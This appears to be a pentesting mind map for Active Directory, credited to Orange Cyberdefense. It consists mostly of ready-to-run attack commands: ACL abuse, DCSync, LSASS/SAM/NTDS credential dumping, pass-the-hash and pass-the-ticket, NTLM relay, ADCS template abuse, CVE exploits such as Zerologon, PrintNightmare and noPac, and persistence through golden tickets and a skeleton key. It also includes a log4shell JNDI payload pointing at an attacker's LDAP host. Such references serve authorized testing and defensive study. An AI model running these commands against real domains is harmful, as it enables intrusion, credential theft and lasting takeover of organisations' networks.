Problem Solving
Pentesting active directory
  no credentials
  Enterprise Admin
    Is enterprise admin ?
    GG good luck for the report !
  ACLs/ACEs
permissions
    Permissions move
    🔥 dcsync
      #Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
      mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator
      secretsdump '<domain>'/'<user>':'<password>'@'<domain_controller>'
    can change
msDS-KeyCredentialLInk
(Generic Write) + ADCS
      Shadow Credentials
(need ADCS)
        Whisker.exe
        certipy shadow auto '-u <user>@<domain>' -p <password> -account '<target_account>'
        pywhisker.py
          pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
        Pass the Certificate
    On Group
      Self (Self-Membership) on Group
      GenericAll/WriteProperty on Group
      WriteProperty (Self-Membership)
      WriteOwner on Group
        WriteDACL + WriteOwner
Give yourself Generic all
          owneredit.py
            dacledit.py
      Add group member
        net group "<group>" <myuser> /add /domain
        ldeep ldap -u <user> -p <pwd> -d <domain> -s ldap://<dc> add_to_group "CN=<user>,DC=<domain>" "CN=<group>,DC=<domain>"
        ACL
    On Computer
      GenericAll / GenericWrite
        msDs-AllowedToActOnBehalf
        add Key Credentials
        shadow credentials
        RBCD
    On User
      GenericAll / GenericWrite
        change password
          net user <user> <password> /domain
        add SPN (target Kerberoasting)
          targetedKerberoast.py -d <domain> -u <user> -p <pass>
          hash found (TGS)
        add Key Credentials
        logon script
        User with clear text pass
        Access
        shadow credentials
      ForceChangePassword
        net user <user> <password> /domain
        net rpc password <user> <password> -S <dc_fqdn>
      User with clear text pass
    aclpwn.py
    acltoolkit <domain>/<user>:'<password>@<target> get-objectacl [-all| -object <object>]
    get laps passwords
      who can read LAPS
        MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p
      Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize
      foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
      cme ldap <dc_ip> -d <domain> -u <user> -p <password> --module laps
      use post/windows/gather/credentials/enum_laps
      admin
    GPO
      MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) RETURN p
      SID of principals that can create new GPOs in the domain
        Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=blah,DC=com" -ResolveGUIDs | ? {​​​​​​​ $_.ObjectAceType -eq "Group-Policy-Container" }​​​​​​​ | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
      return the principals that can write to the GP-Link attribute on OUs
        Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? {​​​​​​​​​​​​​ $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" }​​​​​​​​​​​​​ | select ObjectDN, SecurityIdentifier | fl
      Generic Write on GPO
        Abuse GPO
      Access
    DNSadmins abuse
(CVE-2021-40469)
      dnscmd.exe /config /serverlevelplugindll <\\path\to\dll> # need a dnsadmin user
        sc \\DNSServer stop dns
sc \\DNSServer start dns
        Admin
      Domain Admin
      Lateral move
      Crack Hash
  Kindly provided by Orange Cyberdefense ;-)
Some commands can break stuff, be sure to know what are you doing !
Please find legend below.
  Domain admin
    Domain admin
    🔥dump ntds.dit
      cme smb <dcip> -u <user> -p <password> -d <domain> --ntds
      secretsdump.py '<domain>/<user>:<pass>'@<ip>
      ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
        secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
      windows/gather/credentials/domain_hashdump
      certsync -u <user> -p <password> -d <domain> -dc-ip <dcip> -ns <nsip>
        Lateral move
        Crack Hash
    dpapi.py backupkeys -hashes ':<hash>' -t Administrator@<dc_ip> --export
# note : dpapi.py != DonPAPI
      DonPAPI -pvk <domain_backupkey.pvk> - H ':<hash>' <domain>/<user>@<ip_range>
    Credentials
  Administrator access
    got administrator access on one machine
    Extract credentials
from LSASS
      LSASS as a Protected Process
        PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp
        mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys
      procdump.exe -accepteula -ma lsass.exe lsass.dmp
        mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
      mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"
      load kiwi
        creds_all
      cme smb <ip_range> -u <user> -p <password> -M lsassy
      🔥lsassy -d <domain> -u <user> -p <password> <ip>
        User + Pass
        Hashes NTLM
        Lateral move (PTH/PTK)
(clear text pass in some case)
    Extract credentials
from SAM
      cme smb <ip_range> -u <user> -p '<password>' --sam
      hashdump
      reg save HKLM\SAM <file>; reg save HKLM\SECURITY <file>; reg save HKLM\SYSTEM <file>
        secretsdump.py -system SYSTEM -sam SAM LOCAL
      shadow copies
        diskshadow list shadows all
          mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
      mimikatz "privilege::debug" "lsadump::sam" "exit"
      🔥secretsdump.py <domain>/<user>:<password>@<ip>
      reg.py <domain>/<user>:<password>@<ip> backup -o '\\<smb_ip>\share'
        secretsdump.py -sam <sam_file> -system <system_file> LOCAL
        Hashes NTLM
        Lateral move PTH
    Extract credentials from LSA
      cme smb <ip_range> -u <user> -p '<password>' --lsa
      🔥secretsdump.py <domain>/<user>:<password>@<ip>
      reg.py <domain>/<user>:<password>@<ip> backup -o '\\<smb_ip>\share'
        secretsdump.py -security <security_file> -system <system_file> LOCAL
        Cached domain logon
        Machine account
        Service account
        MsCache 2
        User + Pass
    dpapi extract
      🔥DonPAPI.py <domain>/<user>:<password>@<target>
      mimikatz.exe "sekurlsa::dpapi"
      secretsdump.py <domain>/<user>:<passwor>@<ip>
    search password files
      findstr /si 'password' *.txt *.xml *.docx
    search stored password
      lazagne.exe all
    chrome
      %appdata%\Local\Google\Chrome\User Data\Default
        SharpChromium.exe
    token manipulation
      .\incognito.exe list_tokens -u
        .\incognito.exe execute -c "<domain>\<user>" powershell.exe
      use incognito
        impersonate_token <domain>\\<user>
      cme smb <ip> -u <user> -p <password> -M impersonate
      irs.exe list
        irs.exe exec --pid <pid> --command <command>
      Extract credentials with certificate authentication (ADCS required)
        masky - d <domain> -u <user> (-p <password> || -k || -H <hash>) -ca <certificate authority> <ip>
          NT hash
            Lateral move PTH
          ccache
            Lateral move Pass the ticket
          pfx
            Lateral move Pass the certificate
        ACL
        User + Pass
    Impersonate RDP Session
      psexec -s -i cmd
        query user
          cmd /k tscon <id> /dest:console
          Lateral move RDP
    Hydrid-Environement (Azure AD Connect)
      Dump cleartext password of MSOL Account on AAD Connect server
        azuread_decrypt_msol_v2.ps1
        cme smb <ip> -u <user> -p <password> -M msol
        DCSync
      User + Pass
      Lateral move (Clear text pass)
  Lateral move
    Lateral Move
    WSUSpect
      WSUSpendu.ps1 # need compromised WSUS server
    sccm admin
      abuse sccm
        CMPivot
        PowerSCCM
        SharpSCCM
        Administrator access
    MSSQL
      find mssql access
        cme mssql <ip> -u <user> -p <password> -d <domain>
      Users with SQLadmin
        MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) RETURN p
      EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
        EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
          EXEC xp_cmdshell '<cmd>'
          Low Access
      trust link
        Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance> -Query "<query>"
        use exploit/windows/mssql/mssql_linkcrawler
        MSSQL
      mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip> (pr #1397)
        enum_db
        enable_xp_cmdshell
          xp_cmdshell <cmd>
          Low Access
        enum_impersonate
          exec_as_user <user>
          exec_as_login <login>
          MSSQL
        xp_dir_tree <ip>
        trustlink
          sp_linkedservers
            use_link
            MSSQL
        coerce SMB ->
    Local User
      cme smb -u <user> -p <pass>' <ip> --local-auth
      impacket like cleartext pasword without domain/
      Administrator access
    Password
      Cleartext password
        interactive-shell
          psexec.py <domain>/<user>:<password>@<ip>
          psexec.exe -AcceptEULA \\<ip>
          mimikatz "privilege::debug sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash>"
          Authority/sytem
        pseudo-shell (file write and read)
          atexec.py <domain>/<user>:<password>@<ip> "command"
          smbexec.py <domain>/<user>:<password>@<ip>
          wmiexec.py <domain>/<user>:<password>@<ip>
          dcomexec.py <domain>/<user>:<password>@<ip>
          crackmapexec smb <ip_range> -u <user> -p <password> -d <domain>
          crackmapexec smb <ip_range> -u <user> -p <password> -local-auth
          Authority/sytem
        WinRM
          evil-winrm -i <ip> -u <user> -p <password>
        RDP
          xfreerdp /u:<user> /d:<domain> /p:<password> /v:<ip>
        SMB
          smbclient.py <domain>/<user>:<password>@<ip>
            search files
        MSSQL
          crackmapexec mssql <ip_range> -u <user> -p <password>
          mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>
          MSSQL
        Administrator access
          Low access
          High access
    NTLM Hash
      🔥 Pass the hash (PTH)
        interactive-shell
          psexec.py -hashes ":<hash>" <user>@<ip>
          psexec.exe -AcceptEULA \\<ip>
          mimikatz "privilege::debug sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash>"
          Authority/sytem
        pseudo-shell (file write and read)
          atexec.py -hashes ":<hash>" <user>@<ip> "command"
          smbexec.py -hashes ":<hash>" <user>@<ip>
          wmiexec.py -hashes ":<hash>" <user>@<ip>
          dcomexec.py -hashes ":<hash>" <user>@<ip>
          crackmapexec smb <ip_range> -u <user> -d <domain> -H ':<hash>'
          crackmapexec smb <ip_range> -u <user> -H ':<hash>' --local-auth
          Authority/sytem
        WinRM
          evil-winrm -i <ip> -u <user> -H <hash>
        RDP
          reg.py <domain>/<user>@<ip> -hashes ':<hash>' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
            xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
        SMB
          smbclient.py -hashes ":<hash>" <user>@<ip>
            search files
        MSSQL
          crackmapexec mssql <ip_range> -H ':<hash>'
          mssqlclient.py -windows-auth -hashes ":<hash>" <domain>/<user>@<ip>
          MSSQL
        Administrator access
          Low access
          High access
      overpass the hash / pass the key (PTK)
        Rubeus asktgt /user:victim /rc4:<rc4value>
          Rubeus ptt /ticket:<ticket>
          Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
            Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>
        getTGT.py <domain>/<user> -hashes :<hashes>
        getTGT.py -aesKey '<key>' <domain>/<user>@<ip>
        Pass the ticket
    Kerberos
      Pass the ticket
(ccache / kirbi)
        Convert format
          ticketConverter.py <kirbi||ccache> <ccache||kirbi>
        export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
          impacket tools: Same as Pass the hash but use : -k and -no-pass for impacket
        mimikatz kerberos::ptc "<ticket>"
        Rubeus.exe ptt /ticket:<ticket>
        proxychains secretsdump -k'<domain>'/'<user>'@'<ip>'
        modify SPN
          tgssub.py -in <ticket.ccache> -out <newticket.ccache> -altservice "<service>/<target>" #pr 1256
          Pass the Ticket
        Administrator access
        see dcsync
      aesKey
        impacket tools: Same as Pass the hash but use : -aesKey for impacket (and use FQDN)
        proxychains secretsdump -aesKey <key> '<domain>'/'<user>'@'<ip>'
        see dcsync
        Administrator access
    Socks (with NTLM relay)
      proxychains lookupsid.py <domain>/<user>@<ip> -no-pass -domain-sids
      proxychains mssqlclient.py -windows-auth <domain>/<user>@<ip> -no-pass
      proxychains secretsdump -no-pass '<domain>'/'<user>'@'<ip>'
      pseudo-shell (file write and read)
        proxychains atexec.py -no-pass <domain>/<user>@<ip> "command"
        proxychains smbexec.py -no-pass <domain>/<user>@<ip>
        Authority/sytem
      proxychains smbclient.py -no-pass <user>@<ip>
        search files
      Users
      MSSQL
      see dcsync
      Administrator access
    Certificate (pfx)
      get hash NTLM from certificate
        certipy auth -pfx <crt_file> -dc-ip <dc_ip>
        NTLM hash
      Pass the Certificate
        pkinit
          gettgtpkinit.py -cert-pfx "<pfx_file>" ^[-pfx-pass "<cert-password>"] "<fqdn_domain>/<user>" "<tgt_ccache_file>"
          Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" [/password:"<certificate_password>"] /domain:"<fqdn-domain>" /dc:"<dc>" /show
          certipy auth -pfx <crt_file> -dc-ip <dc_ip>
        Schannel
          certipy auth -pfx <crt_file> -ldap-shell
            add_computer
              set_rbcd
              RBCD
        Pass the ticket
  Got valid username
    got username but no password
    🔥Password spray
      Get password policy (need creds, but you should get the policy before starting a spray)
        cme <IP> -u 'user' -p 'password' --pass-pol
        enum4linx -u 'username' -p 'password' -P <IP>
        Get-ADDefaultDomainPasswordPolicy
        FGPP
          Get-ADFineGrainedPasswordPolicy -filter *
          Get-ADUserResultantPasswordPolicy -Identity <user>
          ldapsearch-ad.py --server '<dc>' -d <domain> -u <user> -p <pass> --type pass-pols
      cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # test user=password
      cme smb <dc-ip> -u user.txt -p password.txt # multiple test (carrefull of lock policy)
      sprayhound -U <users.txt> -d <domain> -dc <dcip>
      Clear text credentials found
    ASREPRoast
      Get ASREPRoastable users (need creds)
        Get-DomainUser -PreauthNotRequired -Properties SamAccountName
        MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
      Get hash
        python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
        Rubeus.exe asreproast /format:hashcat
      Blind Kerberoasting
        Rubeus.exe keberoast /domain:<domain> /dc:<dcip> /nopreauth: <asrep_user> /spns:<users.txt>
        GetUserSPNs.py -no-preauth "<asrep_user>" -usersfile "<user_list.txt>" -dc-host "<dc_ip>" "<domain>"/
        Hash found (TGS)
      CVE-2022-33679
        python3 CVE-2022-33679.py <domain>/<user> <target>
      Hash found (ASREP)
      Lateral move (PTT)
  Low hanging fruit
    classic quick compromission methods
    zerologon (unsafe)
(CVE-2020-1472)
      zerologon-scan '<dc_netbios_name>' '<ip>'
      python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>
secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME>\$@<IP> -no-pass -just-dc-user "Administrator"
secretsdump.py -hashes :<HASH_admin> <DOMAIN>/Administrator@<IP>
        python3 restorepassword.py -target-ip <IP> <DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_BIOS_NAME> -hexpass <HEXPASS>
    Eternal Blue
MS17-010
      exploit/windows/smb/ms17_010_eternalblue
    SYSVOL & GPP
MS14-025
      use scanner/smb/smb_enum_gpp
      findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
    tomcat/jboss manager
      auxiliary/scanner/http/tomcat_enum
exploit/multi/http/tomcat_mgr_deploy
    java rmi
      exploit/multi/misc/java_rmi_server
    java serialized port
      ysoserial
    vulnerable product with cve
      searchsploit
    proxylogon
    proxyshell
    log4shell
      ${jndi:ldap://<ip>:<port>/o=reference}
        rogueJndi-1.0.jar
    database credentials
      use admin/mssql/mssql_enum_sql_logins
    ...
      Admin
      Domain Admin
    MSSQL connection
      Admin
      Domain Admin
      Low Access
  Credits
    mayfly (@M4yFly)
    viking (@Vikingfr)
    Sant0rryu (@Sant0rryu)
    Jenaye (@jenaye_fr)
    Daahtk (@Daahtk)
  Entry point
    how to read
    Highlight Technique 1
      technique/status/explanation
        Enumeration infos
        linux command
        windows command
        result / go to
    Technique 2 (CVE)
      technique/status/explanation
        windows command
        linux command
        or
          Result / go to 1
          Result / go to 2
    Technique3
      technique/status/explanation
      technique/status/explanation
      assemble
        windows command
        linux command
        go to
  Legend
    Bloodhound
    PowerView
    Impacket
    crackmapexec
    certipy
    Metsaploit
    Windows tool
    Command
    dangerous (could break stuff)
    🔥 very common and efficient technic (quick win)
    CVE (probably patched)
  inspired by / Sources
    https://www.thehacker.recipes/ (@_nwodtuhs)
    https://www.ired.team/ (@spotheplanet)
    https://ppn.snovvcrash.rocks/ (@snovvcrash)
    https://book.hacktricks.xyz/ (@carlospolopm)
    https://github.com/swisskyrepo/PayloadsAllTheThings/ (@pentest_swissky)
    https://blog.harmj0y.net/ (@harmj0y)
    https://hausec.com/domain-penetration-testing/ (@haus3c)
    https://dirkjanm.io/ (@_dirkjan)
    https://casvancooten.com/ (@chvancooten)
    https://zer1t0.gitlab.io/posts/attacking_ad/
    https://beta.hackndo.com (@HackAndDo)
    and a lot more ...
  (MITM)
Listen and Relay
    NTLM Relay
    MITM (Listen and relay)
    Listener
    Arp poisoning
    Listen
      🔥 responder -I eth0 (use --lm to force lm downgrade)
      smbclient.py
        NetNtlmv1
        NetNtlmv2
        User
    NTLM relay
      relay on itself
        MS08-068
          use exploit/windows/smb/smb_relay #windows200 / windows server2008
          Admin
      SMB -> LDAP(S)
        NetNTLMv1
          remove mic
        NetNTLMv2
          remove mic (CVE-2019-1040)
            relay to LDAP
              ntlmrelayx.py --remove-mic --escalate-user <user> -t ldap://<dc_fqdn> -smb2support
              ntlmrelayx.py -t ldaps://<dc> --remove-mic --add-computer <computer_name> <computer_password> --delegate-access -smb2support
              ntlmrelayx -t ldap://<dc> --shadow-credentials --shadow-target '<dc>'
              ntlmrelayx.py -wh <attacker_ip> -t ldap://<target> -l /tmp -6 -debug
              RBCD
              DcSync
              shadow credentials
              Users
      HTTP(S) -> LDAP
      -> SMB
        SMB unsigned
          Find SMB not signed (default on non DC)
            nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
            use exploit/windows/smb/smb_relay
            cme smb $hosts --gen-relay-list relay.txt
          ntlmrelayx.py -tf targets.txt -smb2support (-6) --enum-domain
          🔥ntlmrelayx.py -tf targets.txt -smb2support -socks (-6)
          lateral move (socks)
          Users
      -> HTTP
        http ADCS web
        sccm ntlm relay attack
        ESC8
      -> MSSQL
        relay to mssql
          ntlmrelayx.py -t mssql://<ip> -smb2support –socks
          lateral move (socks)
      SMB -> Netlogon
        Zero-Logon (safe method)
(CVE-2020-1472)
          coerce come from dc01, relay to dc02
            ntlmrelayx.py -t dcsync://<dc_02_ip> -smb2support -auth-smb <user>:<password>
            DcSync
    wsus relay
      pywsus.py
  Persistence
    Persistence
    net group "domain admins" myuser /add /domain
    Golden ticket
      ticketer.py -aesKey <aeskey> -domain-sid <domain_sid> -domain <domain> <anyuser>
      mimikatz "kerberos::golden /user:<admin_user> /domain:<domain> /sid:<domain-sid>/aes256:<krbtgt_aes256> /ptt"
    Silver Ticket
      mimikatz "kerberos::golden /sid:<current_user_sid> /domain:<domain-sid> /target:<target_server> /service:<target_service> /aes256:<computer_aes256_key> /user:<any_user> /ptt"
      ticketer.py -nthash <machine_nt_hash> -domain-sid <domain_sid> -domain <domain> <anyuser>
    Diamond ticket
    Saphire Ticket
    Directory Service Restore Mode (DSRM)
      PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD
    Skeleton Key
      mimikatz "privilege::debug" "misc::skeleton" "exit"
        password is mimikatz
    Custom SSP
      mimikatz "privilege::debug" "misc::memssp" "exit"
        C:\Windows\System32\kiwissp.log
    Golden certificate
      certipy ca -backup -ca '<ca_name>' -username <user>@<domain> -hashes <hash>
        certipy forge -ca-pfx <ca_private_key> -upn <user>@<domain> -subject 'CN=<user>,CN=Users,DC=<CORP>,DC=<LOCAL>
    DC shadow
    Acl manipulation
    ...
  Trust relationship
    Trust relationship / Forest to Forest
    Enumeration
      nltest.exe /trusted_domains
      ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRel
ationships()
      Get-DomainTrust -Domain <domain>
      Get-DomainTrustMapping
      ldeep ldap -u <user> -p '<password>' -d <domain> -s ldap://<dc_ip> trusts
    Child Domain to Forest Compromise - extra SIDs
(parent/child) (child/parent)
      Golden ticket
        Get-DomainSID -Domain <domain>
Get-DomainSID -Domain <target_domain>
          mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
            mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt
        lookupsid.py -domain-sids <domain>/<user>:'<password>'@<dc_ip> 0
          ticketer.py -nthash <child_krbtgt_hash> -domain-sid <child_sid> -domain <child_domain>
-extra-sid <parent_domain_sid>-519 goldenuser
        raiseChild.py <domain>/<user>:'<password>'
      inter_realm_ticket TRUST (parent/child) (child/parent)
        mimikatz lsadump::trust /patch
          mimikatz kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /aes256:<trust_key_aes256> /sids:<target_domain_sid>-519 /service:krbtgt /target:<target_domain> /ptt
        ticketer.py -nthash <trust_key> -domain-sid <child_sid> -domain <child_domain>
-extra-sid <parent_domain_sid>-519 -spn krbtgt/<parent_domain> goldenuser
          getST.py -k -no-pass -spn cifs/<dc_fqdn> <parent_domain>/trustfakeuser@<parent_domain> -debug
    Breaking forest trust
(printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync)
    ForeignGroupMember
      Users with foreign Domain Group Membership
        MATCH p=(n:User)-[:MemberOf]->(m:Group) WHERE n.domain="<domain>" AND m.domain<>n.domain RETURN p
      Groups with Foreign Domain Group Membership
        MATCH p=(n:Group {domain:"<domain>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain AND n.name<>m.name RETURN p
      Get-DomainForeignGroupMember -Domain <target>
        convertfrom-sid <sid>
      User on both domains
      ACL
    password reuse
    Forest To Forest - extra SID
(SID History / TREAT_AS_EXTERNAL)
      Golden ticket
        Get-DomainSID -Domain <domain>
Get-DomainSID -Domain <target_domain>
          (SID filtering, Find group with SID > 1000)
Get-DomainGroupMember -Identity "<group>" -Domain <target_domain>
            mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
              mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID>-<GROUP_SID_SUP_1000> /ptt
            ticketer.py -nthash <krbtgt_hash> -domain-sid <from_sid> -domain <from_domain>
-extra-sid <to_domain>-<group_id> goldenuser //(group id must be > 1000)
      Trust ticket
        Get the trust ticket in the ntds (TARGET_DOMAIN$)
          ticketer.py -nthash <trust_key> -domain-sid <from_domain_sid> -domain <from_domain>
-extra-sid <to_domain>-<group_id> -spn krbtgt/<to_domain> trustuser //(group id must be > 1000)
            getST.py -k -no-pass -spn cifs/<dc_fqdn> <parent_domain>/trustfakeuser@<parent_domain> -debug
    Forest to Forest Compromise - MSSQL trusted links
      Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance>
      mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip> (pr #1397)
        trustlink
          sp_linkedservers
            use_link
      MSSQL
    Pass the ticket
    Uncontrained delegation
    lateral move (creds/pth/...)
    Pass the ticket
  Low access
    Privilege escalation
    Get Applocker info
      Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe (dll/msi/...)
    winpeas.exe
    AMSI bypass
      https://amsi.fail/
      Reflection method
      Patching amsi.dll
    search password files
      findstr /si 'password' *.txt *.xml *.docx
      User account
clear text pass
    AppLocker (whitelisting) bypass
      use C:\Windows\Tasks
      use C:\Windows\Temp
      Powershell CLM bypass
        installutil.exe /logfile= /LogToConsole=false /U C:\runme.exe
      mshta.exe my.hta
      MSBuild
    User Access Control (UAC) bypass
      FodHelper
      WSReset
      MSDT
    SMBGhost CVE-2020-0796
    CVE-2021-36934 (HiveNightmare/SeriousSAM)
    service account (IIS/Mssql)
(got SEImpersonate)
      RoguePotato
      Juicy Potato / Lovely Potato
      🔥 PrintSpoofer
      CertPotato
        ./Rubeus tgtdeleg /nowrap
        TGT (pass the ticket)
          certipy req -k -ca <ca>
-template Machine -target <dc>
            certipy auth -pfx <pfxile>
          shadow credentials
            certipy shadow auto -u '<machine>$'@<domain> -k account '<machine$>'
      Machine NT Hash
        ticketer.py -nthash <hash> -domain-sid <domain_sid> -domain <domain> -spn cifs/<dc> <targetUser>
    🔥 KrbRelayUp
      .\KrbRelayUp.exe relay -Domain <domain> -CreateNewComputerAccount -ComputerName <computer$> -ComputerPassword <password>
        ./KrbRelayUp.exe spawn -m rbcd -d <omdain> -dc <dc> -cn <computer_name>-cp <omputer_pass>
    ...
    Admin Access
    Low access (without applocker)
  Known vulnerabilities
    Known vulnerabilities
    MS14-068
      FindSMB2UPTime.py <ip>
        rpcclient $> lookupnames <name>
wmic useraccount get name,sid
auxiliary/admin/kerberos/ms14_068_kerberos_checksum
        goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>
    privexchange
(CVE-2019-0724, CVE-2019-0686)
      python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>
      Coerce HTTP ->
          dom admin
          Admin
    🔥SamAccountName / nopac
CVE-2021-42287/CVE-2021-42278
      scan
        cme smb <ip> -u <user> -p <password> -M nopac
      .\noPac.exe -domain <domain> -user <user> -pass <pass> /dc <dc_fqdn> /mAccount <machine_account> /mPassword <machine_pass> /service cifs /ptt
      with impacket : addcomputer.py / addspn.py / renameMachine.py / getTGT.py / renameMachine.py / getST.py
      Pass the ticket
        DCSYNC
          DOM ADMIN
            Delete computer
    🔥PrintNightmare
(CVE-2021-1675 / CVE-2021-34527)
      CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\<share>\inject.dll'
    🔥Certifried
(CVE-2022-26923)
(need ADCS)
      certipy account create -u <user>@<domain> -p '<password>' -user 'certifriedpc' -pass 'certifriedpass' -dns '<fqdn_dc>'
        certipy req -u 'certifriedpc$'@<domain> -p 'certifriedpass' -target <ca_fqdn> -ca <ca_name> -template Machine
          certipy auth -pfx <pfx_file> -username '<dc>$' -domain <domain> -dc-ip <dc_ip>
          Pass the ticket
            DCSYNC
              DOM ADMIN
                Delete computer
    Admin
    Pass the ticket
        dom admin
        Admin
  ADCS weak configuration
    Weak ADCS configuration
    Web enrollement is up
      🔥ESC8
        ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController
          Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
          gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>
        certipy relay -ca <ca_ip> -template DomainController
          certipy auth -pfx <certificate> -dc-ip <dc_ip>
        Pass the ticket
          DCSync
            DomAdmin
    Get templates information
      certutil -v -dsTemplate
      certify.exe find [ /vulnerable]
      certipy find -u <user>@<domain> -p <password> -dc-ip <domaincontroller>
      Misconfigured Certificate Templates
        ESC1 (Request a certificate from a vulnerable template)
            certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -upn <target_user>@<domain>
            certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>" [/altname:"Admin"]
            Pass the certificate
        ESC2
        ESC3 (Use an enrollement agent to request a certificate)
            certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>"
              certify.exe request request /ca:<server>\<ca-name> /template:<template> /onbehalfof:<domain>\<user> /enrollcert:<path.pfx> [/enrollcertpw:<cert-password>]
            certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>
              certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\<user>' -pfx <cert>
            Pass the certificate
    getACL information
      certipy find -u <user>@<domain> -p <password> -dc-ip <domaincontroller>
      Misconfigured ACL
        ESC4
          write privilege over a certificate template
            certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -save-old -debug
            ESC1 on vulnerable template
              restore template
                certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -configuration <template>.json
        ESC7
          Manage CA
            certipy ca -ca <ca_name> -add-officer '<user>' -username <user>@<domain> -password <password>
          Manage certificate
            certipy ca -ca <ca_name> -enable-template '<ecs1_vuln_template>'-username <user>@<domain> -password <password>
              certipy req -username <user>@<domain> -password <password> -ca <ca_name> -template '<vulnerable template name>' -upn '<target_user>'
                error, but save private key
          Issue request
            certipy ca -u <user>@<domain> -p '<password>' -ca <ca_name> -issue-request <request_id>
              certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id>
              Pass the certificate
    Display CA information
      certutil -TCAInfo
      certify.exe cas
    Get CA flags (if remote registry is enabled)
      certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
      certipy / certify.exe (only the flag ATTRIBUTESUBJECTALTNAME2)
      Misconfigured CA
        ESC6
          Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA
you can choose any certificate template that permits client authentication
          ESC1
    Get PKI objects information
      certify.exe pkiobjects
      vulnerable PKI Object access control
        ESC5
        ACL
    Misconfigured Certificate Mapping
(blind test)
      ESC9/ESC10
        certipy shadow auto -username <accountA>@<domain> -p <passA> -account <accountB>
          ESC9/ESC10 (Case 1)
            certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administrator
              ESC9
